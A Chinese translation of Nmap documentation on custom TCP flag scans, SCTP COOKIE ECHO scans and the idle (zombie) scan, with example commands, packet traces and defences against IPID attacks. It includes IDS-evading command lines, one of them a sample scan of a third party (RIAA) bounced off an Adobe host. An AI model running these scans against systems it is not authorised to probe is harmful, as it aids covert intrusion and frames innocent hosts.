真正高级的Nmap用户不必将自己局限于提供的固定扫描类型。 --scanflags选项使您可以通过指定任意TCP标志来设计自己的扫描。 让您的创意源源不断,同时躲避IDS,这些IDS的供应商只是在Nmap手册页上翻来覆去地添加特定的规则!
--scanflags参数可以是数字标志值,例如9(PSH和FIN),但是使用符号名更容易。 只需将URG,ACK,PSH,RST,SYN和FIN的任意组合混在一起即可。 例如,--scanflags URGACKPSHRSTSYNFIN设置了所有内容,尽管它对扫描不是很有用。指定的顺序是没关系的
除了指定所需的标志之外,您还可以指定TCP扫描类型(例如-sA或-sF)。 该基本类型告诉Nmap如何解释响应。 例如,SYN扫描将无响应表示为已过滤端口,而FIN扫描将其视为 打开|已过滤 。 Nmap的行为方式与基本扫描类型相同,只是它会使用您指定的TCP标志代替。 如果未指定基本类型,则使用SYN扫描。
自定义 SYN/FIN 扫描
一种有趣的自定义扫描类型是 SYN/FIN。有时,防火墙管理员或设备制造商会尝试使用诸如“丢弃仅设置了 SYN 标志的任何传入数据包”之类的规则来阻止传入连接。他们将其限制为 仅SYN 标志,是因为他们不想阻止作为传出连接的第二步返回的 SYN/ACK 数据包。
这种方法的问题是大多数终端系统将接受包含其他(非 ACK)标志的初始 SYN 数据包。例如,Nmap OS 指纹识别系统向开放端口发送 SYN/FIN/URG/PSH 数据包。数据库中超过一半的指纹以 SYN/ACK 响应。因此,它们允许使用此数据包进行端口扫描,并且通常也允许建立完整的 TCP 连接。有些系统甚至会以 SYN/ACK 响应 SYN/RST 数据包!TCP RFC关于在初始 SYN 数据包中可以接受哪些标志是模棱两可的,尽管 SYN/RST 肯定看起来是假的。
示例 5.13显示 Ereet 成功执行了 Google 的 SYN/FIN 扫描。krad他显然对 scanme.nmap.org 感到厌烦。
例 5.13。Google 的 SYN/FIN 扫描krad#nmap -sS --scanflags SYNFIN -T4 www.google.com
Starting Nmap ( http://nmap.org ) Warning: Hostname www.google.com resolves to 4 IPs. Using 74.125.19.99. Nmap scan report for cf-in-f99.google.com (74.125.19.99) Not shown: 996 filtered ports PORT STATE SERVICE 80/tcp open http 113/tcp closed auth 179/tcp closed bgp 443/tcp open https Nmap done: 1 IP address (1 host up) scanned in 7.58 seconds类似的扫描类型,如SYN/URG或SYN/PSH/URG/FIN,一般也能工作。如果你没有获得通过,不要忘记已经提到的SYN/RST选项。
PSH扫描
名为“TCP FIN、NULL 和 Xmas 扫描 (
-sF
,-sN
,-sX
)”的部分指出,符合 RFC 的系统允许使用 FIN、PSH 和 URG 标志的任意组合来扫描端口。虽然有八种可能的排列,但 Nmap 仅提供三种固定模式(NULL、FIN 和 Xmas)。通过尝试 PSH/URG 或 FIN/PSH 扫描来展示一些个人风格。结果与三种固定模式几乎没有区别,但有很小的机会避开扫描检测系统。要执行这样的扫描,只需指定所需的标志
--scanflags
并将 FIN scan (-sF
) 指定为基本类型(选择 NULL 或 Xmas 也可以)。 示例 5.14演示了针对本地网络上的 Linux 机器的 PSH 扫描。例 5.14。自定义 PSH 扫描krad#nmap -sF --scanflags PSH para
Starting Nmap ( http://nmap.org ) Nmap scan report for para (192.168.10.191) (The 995 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 22/tcp open|filtered ssh 53/tcp open|filtered domain 111/tcp open|filtered rpcbind 515/tcp open|filtered printer 6000/tcp open|filtered X11 MAC Address: 00:60:1D:38:32:90 (Lucent Technologies) Nmap done: 1 IP address (1 host up) scanned in 5.95 seconds因为这些扫描的工作方式都是一样的,我可以只保留-sF、-sN和-sX选项中的一个,让用户用--scanflags来模拟其他选项。目前没有计划这样做,因为快捷键式的选项更容易记忆和使用。您仍然可以尝试模拟的方法来展示您的Nmap技能。执行nmap -sF --scanflags FINPSHURG目标,而不是无聊的nmap -sX目标。
警告 以我的经验,不必要的复杂 Nmap 命令行不会给女孩留下深刻印象。他们通常以居高临下的冷笑回应,大概是认识到命令是多余的。
-sZ(SCTP COOKIE ECHO扫描)
SCTP COOKIE ECHO扫描是更高级的SCTP扫描。 利用以下事实:SCTP实现应在打开的端口上静默丢弃包含COOKIE ECHO块的数据包,但在端口关闭时发送ABORT。 这种扫描类型的优点在于,端口扫描不像INIT扫描那样明显。 同样,可能有非状态防火墙规则集阻止INIT块,但不会阻止COOKIE ECHO块。 不要被愚弄,以为这将使端口扫描不可见;一个好的IDS将能够检测SCTP COOKIE ECHO扫描。缺点是SCTP COOKIE ECHO扫描无法区分打开的端口和已过滤的端口,而在两种情况下都处于打开状态。
-sI 僵尸机IP[:端口] tcp 空闲扫描、僵尸扫描,利用空闲的第三方僵尸机的自增IPID被动扫描目标,不实用
空闲扫描是所有扫描类型中最隐蔽的,有时可以利用受信任的IP地址关系。不幸的是,它也很缓慢和复杂。这种先进的扫描方法可以对目标进行真正的盲TCP端口扫描(这意味着不会有任何数据包发送到您的真实IP地址的目标)。相反,一个独特的侧面通道攻击利用了僵尸主机上可预测的IP分片ID序列生成,以收集目标上的开放端口信息。IDS系统会将扫描显示为来自您指定的僵尸计算机(必须up并满足特定条件)。 这种引人入胜的扫描类型过于复杂,无法在本参考指南中进行全面描述,因此我在https://nmap.org/book/idlescan.html上撰写并发布了包含详细信息的非正式论文。
除了非常隐蔽(由于其盲目的性质)之外,此扫描类型还允许映射机器之间基于IP的信任关系。 端口列表从僵尸主机的角度显示了开放的端口。 因此,您可以尝试使用您认为可能受到信任的各种僵尸(可以穿过路由器/数据包过滤器规则)扫描目标。
如果希望探测僵尸上的指定端口的IP ID改变,则可以在僵尸主机上添加冒号和端口号。 否则,Nmap将使用默认情况下用于TCP ping的端口(80)。
1998年,安全研究员Antirez(他也编写了hping2工具,用于本书部分内容)在Bugtraq邮件列表中发布了一项巧妙的新端口扫描技术。众所周知,空闲扫描允许完全盲端口扫描。攻击者实际上可以扫描一个目标,而不需要从他们自己的IP地址向目标发送一个数据包。取而代之的是,巧妙的侧信道攻击允许扫描从一个愚蠢的“僵尸主机”中弹回。 入侵检测系统 (IDS) 报告会将无辜的僵尸指为攻击者。。除了特别隐蔽外,这种扫描类型允许发现机器之间基于IP的信任关系。
我以为这么大的问题会立即引起操作系统开发者的反应和补丁。不幸的是,许多人多年来选择忽视这个问题。显然,他们认为这是一个 "理论 "问题,在现实世界中利用起来并不实际。为了反驳这种立场,并增加对开发者修复问题的压力,我在最近的Nmap版本中发布了一个强大的idlescan实现。本文详细描述了这一技术,并提供了网络管理员、ISP和操作系统开发人员可以用来缓解这一漏洞的防御措施。
请注意,空闲扫描只是由可预测的IPID序列号引起的安全风险之一。本文描述了由这一特性所带来的其他几种信息收集攻击。
虽然空闲扫描比到目前为止讨论的任何技术都要复杂,但你不需要成为一个TCP/IP专家然后理解它。可以汇总为以下几点:
大多数服务器都在TCP端口上进行监听,就像web服务器在80端口上进行监听,邮件服务器在25端口上进行监听一样。 如果有任何应用程序在该端口上进行监听,则该端口被认为是 "开放 "的,否则就是关闭。
通过结合这些特征,可以在伪造身份的同时扫描目标网络,使其看起来像一个无辜的僵尸机器进行扫描。
一步一步介绍空闲扫描
从根本上说,空闲扫描重复每个端口上的三个步骤组成:
探测僵尸的 IP ID 并记录
伪造一个来自僵尸的SYN数据包,并将其发送到目标上的理想端口。根据端口状态,目标的反应可能会或可能不会导致僵尸的IP ID被增加。
再次探测僵尸的IP ID。然后通过将此新 IP ID 与步骤 1 中记录的 IP ID 进行比较来确定目标端口状态。
在这个过程之后,僵尸的 IP ID 应该+1或+2。
增加一表示僵尸没有发送任何数据包(译者注:因为僵尸机第一次IPID与第二次IPID间没有发送任何数据,相减得到1),除了它对攻击者探针的回复。这种没有发送数据包的情况意味着该端口没有开放(目标必须向僵尸发送RST数据包,该数据包被忽略,或者根本就没有发送)。
增加 2 表示僵尸在两次探针之间发送了一个数据包。这个多出来的数据包通常意味着端口是开放的(目标可能向僵尸发送了一个 SYN/ACK 数据包以响应伪造的 SYN,从而诱导了僵尸的 RST 数据包)。
增加大于 2 通常表示僵尸主机不好。它可能没有可预测的 IP ID 号,或者可能正在进行与空闲扫描无关的通信。
尽管关闭端口的情况与过滤端口的情况略有不同,但攻击者在两种情况下测量的结果相同,即 IP ID 增加 1。因此,空闲扫描无法区分关闭和过滤的端口。当 Nmap 记录 IP ID 增加 1 时,它会标记端口
closed|filtered
。对于那些想要更多细节的人来说,下面的三个图表准确地显示了在打开、关闭和过滤端口的三种情况下发生的情况。其中的演员有:
攻击者、 僵尸和 目标。
图 5.6。开放端口的空闲扫描
图 5.7。关闭端口的空闲扫描
图 5.8。过滤端口的空闲扫描再次介绍
通过结合这些功能,有可能通过伪造自己的身份来扫描一个网络,使其看起来像一个无辜的 "僵尸 "机器进行扫描。用一张图来描述这种技术比较容易。在下图中,一个攻击者A正在扫描一台目标机器,同时将扫描归咎于某个僵尸Z,方块代表机器,线条代表数据包。数据包的简要英文描述印在行的上方,而实际的TCP标志和数据包区分信息则印在下面。
如图所示,目标主机根据端口的状态对 Zombie 做出不同的响应。如果测试的端口是开放的,目的地会向 Zombie 发送一个 SYN|ACK。Zombie 没有预料到这个 SYN|ACK,所以它发回了一个 RST。通过发送这个 RST,僵尸会增加它的 IPID 序列号。真正的攻击者会在第 3 步中检测到这一点。如果端口已关闭,则目的地会向 Zombie 发送 RST。僵尸会忽略这个未经请求的 RST 数据包,并且不会增加其 IPID 序列号。
空闲扫描优缺点
与其他流行的扫描类型(如SYN扫描或FIN扫描)相比,Idlescan技术为攻击者提供了许多优势。因此,我们建议采取重要的防御措施,以帮助保护你的网络免受这种攻击。以下是攻击者可能使用这种扫描方法的一些原因。
空闲扫描是终极隐形扫描。人们可以使用许多技术来伪装自己的身份。其中,使用诱饵(Nmap -D)进行半开扫描(“half-open scans”,nmap -sS)。但是(与空闲扫描不同)仍然需要攻击者从他的真实 IP 地址向目标发送一些数据包,以获取扫描结果。另一方面,Idlescan 是完全不可见的——没有数据包从真正的源地址发送到目的地。空闲扫描的一个结果是,入侵检测系统通常会发送警报,声称僵尸机器已经对它们发起了扫描。所以它可以被用来陷害其他一些人进行扫描。从您的 IDS 读取警报时,请记住这种可能性。
空闲扫描的一个独特优势是它可以用来击败某些包过滤防火墙和路由器。 IP源地址过滤 是一种常见的(虽然很弱)安全机制,用于限制可能连接到敏感主机或网络的机器。例如,公司数据库服务器可能只允许来自访问它的公共 Web 服务器的连接。或者家庭用户可能只允许来自他的工作机器的 SSH(交互式登录)连接。更令人不安的情况是,当一些公司大佬要求网络管理员打开防火墙洞以便他可以从他的家庭 IP 地址访问内部网络资源时。当高管不愿意或无法使用安全的 VPN 替代方案时,就会发生这种情况。空闲扫描有时可以用来映射出这些信任关系。关键因素是,空闲扫描的结果是从僵尸主机的角度列出开放的端口。对上述数据库服务器的正常扫描可能会显示没有开放的端口,但在使用web服务器的IP作为僵尸时进行空闲扫描,可以通过显示数据库相关的服务端口是开放的而暴露出信任关系。映射出这些信任关系对于攻击者优化的目标非常有用。上面讨论的 web 服务器对于攻击者来说可能看起来很普通,直到她注意到它的特殊数据库访问权限。
空闲扫描的一个缺点是它比大多数其他扫描类型花费的时间要长得多。尽管 “空闲扫描实现算法”一节中描述了优化算法,但 15 秒的 SYN 扫描可能需要 15 分钟或更长时间作为空闲扫描。另一个问题是您必须能够欺骗数据包,就好像它们来自僵尸一样,并让它们到达目标机器。许多 ISP(尤其是拨号和住宅宽带提供商)现在实施出口过滤以防止这种数据包欺骗。 高端提供商(例如托管和 T1 服务)不太可能这样做。如果此过滤生效,Nmap 将为您尝试的每个僵尸打印一条快速错误消息。如果无法更改 ISP,您可以尝试在同一 ISP 网络上使用另一个 IP。有时过滤只阻止客户使用范围以外的IP地址的欺骗行为。空闲扫描的另一个挑战是您必须找到可工作的僵尸主机,如下一节所述。
寻找工作的空闲扫描僵尸机
执行 IP ID 空闲扫描的第一步是找到合适的僵尸。它需要在全局(而不是与它通信的每个主机)的基础上分配自增的 IP ID 数据包。它应该是空闲的(因此是扫描名称),因为无关流量会增加其 IP ID 序列,从而混淆扫描逻辑。攻击者和僵尸之间以及僵尸和目标之间的延迟越低,扫描进行得越快。
第一步是找到一个合适的僵尸主机。该主机不应该有大量的流量,(因此称为空闲),并且应该提供可预测的IPID值。打印机、Windows机器、使用旧版Linux的主机、FreeBSD和Mac OS一般都很有用。最新版本的Linux、SOlaris和OpenBSD都不会被当作僵尸,但任何主机都可以成为扫描的目标。确定一个主机的脆弱性的方法之一是简单地尝试Nmap Idlescan。Nmap会检查僵尸并报告它是否被信任。执行这些扫描非常容易。
当尝试空闲扫描时,Nmap 会测试建议的僵尸并报告它的任何问题。如果不起作用,请尝试另一个。足够多的 Internet 主机有漏洞,僵尸候选者并不难找到。由于主机需要空闲,所以选择像 www.yahoo.com 或 google.com 这样的知名主机几乎是行不通的。
一种常见的方法是简单地对某个网络执行 Nmap ping 扫描。您可以使用 Nmap 的随机 IP 选择模式 (
-iR
), 但这很可能会导致远处的僵尸出现大量延迟。选择靠近源地址或目标地址的网络会产生更好的结果。您可以尝试使用 ping 扫描结果中的每个可用主机进行空闲扫描,直到找到一个有效的主机。像往常一样,最好在将某人的机器用于空闲扫描等意外目的之前征得许可。我们在插图中选择一个打印机图标来代表僵尸,并不是为了搞笑--简单的网络设备往往是很好的僵尸,因为它们通常既没有被充分利用(闲置),又建立了简单的网络堆栈,很容易被IP ID流量检测到。
在僵尸候选网络上进行端口扫描和操作系统识别(-O),而不是仅仅进行ping扫描,有助于选择一个好的僵尸。只要启用verbose模式(-v),操作系统检测通常会确定IP ID序列生成方法,并打印一行,如 "IP ID序列生成:递增式"。如果给出的类型是增量式或破坏的小端增量式,则该机器是一个很好的僵尸候选者。这仍然不能保证它能工作,因为Solaris和其他一些系统为每个与之通信的主机创建一个新的IP ID序列。主机也可能是太忙了。操作系统检测和开放端口列表也可以帮助识别可能处于空闲状态的系统。
另一种识别僵尸候选者的方法是对主机运行 ipidseq NSE 脚本。此脚本探测主机以对其 IP ID 生成方法进行分类,然后像操作系统检测一样打印 IP ID 分类。像大多数 NSE 脚本一样,
ipidseq.nse
它可以在许多主机上并行运行,使其成为扫描整个网络以寻找合适主机的另一个不错的选择。虽然识别合适的僵尸需要一些初步工作,但您可以保持重复使用好的僵尸。
执行空闲扫描
一旦找到合适的僵尸,执行扫描就很容易了。只需为
-sI
选项指定僵尸主机名,然后 Nmap 会完成其余的工作。 示例 5.19显示了 Ereet 的示例 通过从名为 Kiosk 的 Adobe 机器上反弹空闲扫描来扫描美国唱片业协会。例 5.19。针对 RIAA 的空闲扫描#nmap -Pn -p- -sI kiosk.adobe.com www.riaa.com
Starting Nmap ( http://nmap.org ) Idlescan using zombie kiosk.adobe.com (192.150.13.111:80); Class: Incremental Nmap scan report for 208.225.90.120 (The 65522 ports scanned but not shown below are in state: closed) Port State Service 21/tcp open ftp 25/tcp open smtp 80/tcp open http 111/tcp open sunrpc 135/tcp open loc-srv 443/tcp open https 1027/tcp open IIS 1030/tcp open iad1 2306/tcp open unknown 5631/tcp open pcanywheredata 7937/tcp open unknown 7938/tcp open unknown 36890/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 2594.47 seconds
从上面的扫描中,我们了解到 RIAA 的安全意识不是很强(注意开放的 PC Anywhere、portmapper 和 Legato nsrexec 端口)。由于他们显然没有防火墙,因此他们不太可能拥有 IDS。但如果他们这样做,它会将 kiosk.adobe.com 显示为扫描罪魁祸首。该
-Pn
选项阻止 Nmap 向 RIAA 机器发送初始 ping 数据包。那会泄露 Ereet 的真实地址。扫描需要很长时间,因为-p-
指定扫描所有 65K 端口。不要尝试使用kiosk 进行扫描,因为它已被删除。默认情况下,Nmap 会从僵尸的源端口 80 伪造对目标的探测。您可以通过将冒号和端口号附加到僵尸主机名称(例如
-sI kiosk.adobe.com:113
)来选择不同的端口。所选端口不得从攻击者或目标中过滤。僵尸的 SYN 扫描应该显示端口处于open
或closed
状态。空闲扫描实现算法
虽然名为“一步一步空闲扫描”的部分描述了基本级别的空闲扫描,但 Nmap 实现要复杂得多。关键区别在于快速执行的并行性和减少误报的冗余性。
由于推断端口状态的间接方法,并行空闲扫描比其他扫描技术更棘手。如果 Nmap 向目标上的多个端口发送探测,然后检查僵尸的新 IP ID 值,则 IP ID 增量的数量将公开有多少目标端口打开,而不是哪些端口。这实际上不是一个主要问题,因为大型扫描中的绝大多数端口都是
closed|filtered
. 由于只有打开的端口会导致 IP ID 值增加,因此 Nmap 不会看到中间增加,并且可以将整个端口组标记为closed|filtered
. Nmap 可以并行扫描多达 100 个端口的组。如果 Nmap 探测到一个组,然后发现僵尸 IP ID 增加了<N>
次数,那么该组之间肯定有<N>个
开放的端口。Nmap 然后通过二分法查找打开的端口。它将组分成两个,并分别向每个发送探测。如果子组显示零个开放端口,则该组的端口都标记为closed|filtered
。如果一个子组显示一个或多个打开的端口,则将其再次划分并继续该过程,直到识别出这些端口。虽然这种技术增加了复杂性,但与一次仅扫描一个端口相比,它可以将扫描时间减少一个数量级。可靠性是另一个主要的空闲扫描问题。如果僵尸主机在扫描期间向任何不相关的机器发送数据包,则其 IP ID 会递增。这会导致 Nmap 认为它找到了一个开放端口。幸运的是,并行扫描在这里也有帮助。如果 Nmap 扫描了一个组中的 100 个端口,而IP ID的增加预示着两个开放的端口,则 Nmap 将该组分成两个 50 个端口的子组。当 Nmap 对两个子组进行 IP ID 扫描时,僵尸 IP ID 总数刚好再增加两个!否则,Nmap 将检测不一致并重新扫描组。它还根据检测到的僵尸可靠率修改组大小和扫描时间。如果 Nmap 检测到太多不一致的结果,它会退出并要求用户提供更好的僵尸。
有时,数据包追踪是理解诸如此类的复杂算法和技术的最佳方式。再一次,Nmap
--packet-trace使这些东西在需要时很容易产生。本节的其余部分提供了一个实际的7个端口空闲扫描的注释数据包跟踪。IP地址被改成攻击者、僵尸和目标,为了清楚起见,追踪线的一些无关的方面(如TCP窗口大小)被删除。
Attacker#nmap -sI Zombie -Pn -p20-25,110 -r --packet-trace -v Target
Starting Nmap ( http://nmap.org )-Pn是隐蔽性所必需的,否则Ping数据包会从攻击者的真实地址发送到目标。版本扫描也会暴露真实地址,所以没有指定-sV。-r选项(关闭端口随机化)只是为了让这个例子更容易理解。
Nmap 首先通过向 Zombie 发送六个 SYN/ACK 数据包并分析响应来测试 Zombie 的 IP ID 序列生成。这有助于 Nmap 立即清除坏僵尸。这也是必要的,因为某些系统(通常是 Microsoft Windows 机器,尽管并非所有 Windows 机器都这样做)对于每个发送的数据包将 IP ID 增加 256,而不是增加 1。当小端机器不将 IP ID 转换为网络字节顺序(大端)时,就会发生这种情况。Nmap 使用这些初始探测来检测和解决这个问题。
SENT (0.0060s) TCP Attacker:51824 > Zombie:80 SA id=35996 SENT (0.0900s) TCP Attacker:51825 > Zombie:80 SA id=25914 SENT (0.1800s) TCP Attacker:51826 > Zombie:80 SA id=39591 RCVD (0.1550s) TCP Zombie:80 > Attacker:51824 R id=15669 SENT (0.2700s) TCP Attacker:51827 > Zombie:80 SA id=43604 RCVD (0.2380s) TCP Zombie:80 > Attacker:51825 R id=15670 SENT (0.3600s) TCP Attacker:51828 > Zombie:80 SA id=34186 RCVD (0.3280s) TCP Zombie:80 > Attacker:51826 R id=15671 SENT (0.4510s) TCP Attacker:51829 > Zombie:80 SA id=27949 RCVD (0.4190s) TCP Zombie:80 > Attacker:51827 R id=15672 RCVD (0.5090s) TCP Zombie:80 > Attacker:51828 R id=15673 RCVD (0.5990s) TCP Zombie:80 > Attacker:51829 R id=15674 Idlescan using zombie Zombie (Zombie:80); Class: Incremental
这个测试表明,僵尸的工作是正常的。每一个IP ID都比前一个增加了一个。所以系统似乎是闲置的,容易受到IP ID流量检测的影响。这些有希望的结果还是要看下一个测试,在这个测试中,Nmap向Zombie伪造了四个数据包,好像它们来自Target。然后它探测僵尸以确保IP ID增加。如果没有,那么很可能是攻击者的ISP阻止了欺骗的数据包,或者僵尸为它的每台主机使用单独的IP ID序列计数器。这两种情况都很常见,所以Nmap总是执行这个测试。最后已知的僵尸IP ID是15674,如上图所示。
SENT (0.5990s) TCP Target:51823 > Zombie:80 SA id=1390 SENT (0.6510s) TCP Target:51823 > Zombie:80 SA id=24025 SENT (0.7110s) TCP Target:51823 > Zombie:80 SA id=15046 SENT (0.7710s) TCP Target:51823 > Zombie:80 SA id=48658 SENT (1.0800s) TCP Attacker:51987 > Zombie:80 SA id=27659 RCVD (1.2290s) TCP Zombie:80 > Attacker:51987 R id=15679四个欺骗性数据包加上来自攻击者的探测导致僵尸将其 IP ID 从 15674 增加到 15679。完美!现在开始真正的扫描。请记住,15679 是最新的 Zombie IP ID。
针对目标启动 Idlescan SENT (1.2290s) TCP Zombie:80 > Target:20 S id=13200 SENT (1.2290s) TCP Zombie:80 > Target:21 S id=3737 SENT (1.2290s) TCP Zombie:80 > Target:22 S id=65290 SENT (1.2290s) TCP Zombie:80 > Target:23 S id=10516 SENT (1.4610s) TCP Attacker:52050 > Zombie:80 SA id=33202 RCVD (1.6090s) TCP Zombie:80 > Attacker:52050 R id=15680Nmap探测了20-23端口。然后它探测Zombie,发现新的IP ID是15680,只比以前的值15679高一个。在这两个已知的数据包之间没有IP ID增加,意味着20-23端口可能被关闭或过滤了。也有可能是目标端口的SYN/ACK根本还没有到达。在这种情况下,Zombie没有用RST响应,因此它的IP ID没有递增。为了确保准确性,Nmap以后会再试这些端口。
SENT (1.8510s) TCP Attacker:51986 > Zombie:80 SA id=49278 RCVD (1.9990s) TCP Zombie:80 > Attacker:51986 R id=15681Nmap 再次探测,因为自上次发送探测以来已经过去了十分之四秒。Zombie(如果不是真正空闲的话)可能在此期间与其他主机通信,如果此处未检测到,稍后会导致不准确。幸运的是,这并没有发生:下一个 IP ID 是预期的 15681。
SENT (2.0000s) TCP Zombie:80 > Target:24 S id=23928 SENT (2.0000s) TCP Zombie:80 > Target:25 S id=50425 SENT (2.0000s) TCP Zombie:80 > Target:110 S id=14207 SENT (2.2300s) TCP Attacker:52026 > Zombie:80 SA id=26941 RCVD (2.3800s) TCP Zombie:80 > Attacker:52026 R id=15684Nmap 探测端口 24、25 和 110,然后查询 Zombie IP ID。它已从 15681 跃升至 15684。它跳过了 15682 和 15683,这意味着这三个端口中的两个可能是打开的。Nmap 无法分辨哪两个是打开的,也可能是误报。因此,Nmap 深入挖掘,将扫描划分为子组。
SENT (2.6210s) TCP Attacker:51867 > Zombie:80 SA id=18869 RCVD (2.7690s) TCP Zombie:80 > Attacker:51867 R id=15685 SENT (2.7690s) TCP Zombie:80 > Target:24 S id=30023 SENT (2.7690s) TCP Zombie:80 > Target:25 S id=47253 SENT (3.0000s) TCP Attacker:51979 > Zombie:80 SA id=12077 RCVD (3.1480s) TCP Zombie:80 > Attacker:51979 R id=15687第一个子组是端口 24 和 25。IP ID 从 15685 跳转到 15687,这意味着这两个端口中的一个很可能是打开的。Nmap 再次尝试分而治之的方法,分别探测每个端口。
SENT (3.3910s) TCP Attacker:51826 > Zombie:80 SA id=32515 RCVD (3.5390s) TCP Zombie:80 > Attacker:51826 R id=15688 SENT (3.5390s) TCP Zombie:80 > Target:24 S id=47868 SENT (3.7710s) TCP Attacker:52012 > Zombie:80 SA id=14042 RCVD (3.9190s) TCP Zombie:80 > Attacker:52012 R id=15689端口 24 探测显示 IP ID 没有跳跃。所以那个端口没有打开。从目前的结果来看,Nmap初步确定:
端口 20-23 是
closed|filtered
端口 24、25 和 110 中的两个是
open
端口 24 和 25 之一是
open
端口 24 是
closed|filtered
盯着这个谜题足够长的时间,您会发现只有一个解决方案:端口25和110是开放的,而其他五个是关闭的或过滤的。使用这个逻辑,Nmap 现在可以停止扫描并打印结果。它曾经这样做过,但是当 Zombie 没有真正空闲时,这会产生太多的误报打开端口。于是 Nmap 继续扫描以验证其结果:
SENT (4.1600s) TCP Attacker:51858 > Zombie:80 SA id=6225 RCVD (4.3080s) TCP Zombie:80 > Attacker:51858 R id=15690 SENT (4.3080s) TCP Zombie:80 > Target:25 S id=35713 SENT (4.5410s) TCP Attacker:51856 > Zombie:80 SA id=28118 RCVD (4.6890s) TCP Zombie:80 > Attacker:51856 R id=15692 在 Target 上发现开放端口 25/tcp SENT (4.6900s) TCP Zombie:80 > Target:110 S id=9943 SENT (4.9210s) TCP Attacker:51836 > Zombie:80 SA id=62254 RCVD (5.0690s) TCP Zombie:80 > Attacker:51836 R id=15694 在 Target 上发现开放端口 110/tcp对端口25和110的探测显示,它们是开放的,正如我们之前推断的那样。
SENT (5.0690s) TCP Zombie:80 > Target:20 S id=8168 SENT (5.0690s) TCP Zombie:80 > Target:21 S id=36717 SENT (5.0690s) TCP Zombie:80 > Target:22 S id=4063 SENT (5.0690s) TCP Zombie:80 > Target:23 S id=54771 SENT (5.3200s) TCP Attacker:51962 > Zombie:80 SA id=38763 RCVD (5.4690s) TCP Zombie:80 > Attacker:51962 R id=15695 SENT (5.7910s) TCP Attacker:51887 > Zombie:80 SA id=61034 RCVD (5.9390s) TCP Zombie:80 > Attacker:51887 R id=15696为了确定,Nmap再次尝试了20-23端口。一个Zombie IP ID查询显示没有序列跳转。如果从Target到Zombie的SYN/ACK来得晚,Nmap再试一次IP ID查询。这再次显示没有开放的端口。Nmap现在对它的结果有足够的信心来打印它们。
The Idlescan took 5 seconds to scan 7 ports. Nmap scan report for Target PORT STATE SERVICE 20/tcp closed|filtered ftp-data 21/tcp closed|filtered ftp 22/tcp closed|filtered ssh 23/tcp closed|filtered telnet 24/tcp closed|filtered priv-mail 25/tcp open smtp 110/tcp open pop3 Nmap finished: 1 IP address (1 host up) scanned in 5.949 seconds关于Nmap空闲扫描实现的完整细节,请阅读Nmap源代码分发中的idle_scan.cc。
虽然该端口扫描是对可预测 IP ID 序列的巧妙滥用,但它们也可以用于许多其他目的。本书中到处都是例子,特别是在第 10 章,检测和破坏防火墙和入侵检测系统。
防御
幸运的是,可以采取多种防御措施来防止大多数与 IPID 相关的攻击:
网络管理员:
- 防火墙和边界路由器应配置为拒绝具有奇怪源地址的传入数据包。(即似乎来自我们网络内部的机器,保留地址如 10.XXX 或 192.168.XX,本地主机地址 127.XXX 等。任何好的防火墙指南都应提供有关这些基本规则的更详细的指导)。
- 跟踪连接状态的防火墙规则(“有状态防火墙”)也可以帮助解决这种类型的攻击——确保您的防火墙提供此功能并且已启用。
- 尝试使用 IPID 序列难以预测的操作系统,例如 OpenBSD、SOLaris 或 Linux 的最新版本。虽然这些操作系统在当前版本的 Nmap 下不会成为僵尸,但它们可能无法阻止所有与 IPID 相关的攻击。需要更多的研究。
- 实施出站过滤以防止具有欺骗性地址的伪造数据包离开我们的网络。这可以防止我们的员工/学生发起任何这些攻击。
互联网服务提供商 (ISP):
ISP 可以提供的最重要的保护是使用出站过滤来防止带有欺骗地址的伪造数据包离开我们的网络。这可以防止用户执行许多可怕的攻击,甚至阻止 Idlescan。除了有助于提高 Internet 性能外,出站过滤还可以为我们节省大量调查“IP 欺骗”攻击的成本。
操作系统开发人员:
一个好的方法是使用特定于每个连接或每个“对等点”(对等点:参与数据包交换的其他主机)的 IPID 序列。Solaris 执行此操作并严格限制攻击者可以获取的有关其他连接的信息。Linux 2.4 还使用了特定于每个对等方的 IPID 值(参见 net/ipv4/inetpeer.c)。此外,Linux 2.4 将设置了 DF(“不分片”)位的数据包中的 IPID 字段重置为零。毕竟,IP 碎片整理是 ID 字段的唯一关键用途。另一种方法(OpenBSD 使用)是随机生成 IPID 序列。这很难正确实现——您必须确保序列不会重复,并且每个数字不会在短时间内使用两次。
面临的挑战
我打算讨论编写快速准确的扫描器的实施竞赛。但是你们中很少有人这样做,而那些这样做的人可以阅读Nmap和其他扫描器的源代码。因此,我将只强调几个重点。本节还包括工具用户遇到的一些挑战。
- 性能——一次扫描一个端口(如上图所示)对于数千个端口来说可能非常慢。Nmap 通过发送多达 100 个测试来处理这个问题。如果 Nmap 发现 IPID 确实增加了,它将使用二分法将搜索限制为打开的端口。
- 非惰性宿主-- Idlescan 的工作原理是计算僵尸发送的数据包数量,并假设这些数据包是对来自目的地的数据包的响应。因此,非惰性僵尸发送的奇怪数据包可能会引起严重的混乱。Nmap 试图通过重传测试和其他技术来检测错误结果来解决这个问题。例如,如果 Nmap 测试 6 个端口并且 IPID 增加 10 或 20,Nmap 就会知道有问题。Nmap 会调整其时序和并行度,以补偿稍微活跃的主机或在检测到此情况时丢弃数据包。但是,对于非常忙碌的僵尸,Nmap 并不可靠。处理非常活跃的僵尸的一种技术是向每个端口发送大量(数十个或数百个)测试。这种技术“在这里。
- 出站过滤——如果由于您的 ISP 的出站过滤,我们无法伪造具有欺骗源地址的数据包,请尝试另一个 ISP,或者(对于高级用户)您可以尝试 IP 隧道。您还可以尝试从您自己网络中的另一台计算机“反弹”攻击(因为它不太可能被过滤)。
- 免疫僵尸——由于狡猾的操作系统或大量流量,一些主机不会像僵尸一样运行。在许多情况下,可以简单地使用不同的僵尸。
IPID 预测更有趣
尽管本文侧重于使用可预测的 IPID 序列来扫描端口,但还有许多其他狡猾的方法可以利用这些信息。这是一个简短的列表:
- 流量分析——连续的 IPID 号码暴露了主机在一定时期内发送的数据包数量。这可用于估计网站流量、确定人们何时登录等。
- 主机别名检测——很多时候主机会有多个 IP 地址或多个以太网接口。您几乎总是可以通过查找相似的 IPID 序列号来确定哪些地址属于某个主机。
- 负载均衡解复用——这几乎是与前一种技术相反的技术。大型站点通常使用负载均衡器,以便将单个地址映射到小型服务器群。考虑到 IPID 值,通常可以确定设备后面有多少台机器以及我们连接到哪一台。。例如,下面hping2运行中的 "id "字段可以明显看出,beta.search.microsoft.com是由负载均衡器(207.46.197.115)后面的两台机器管理的。
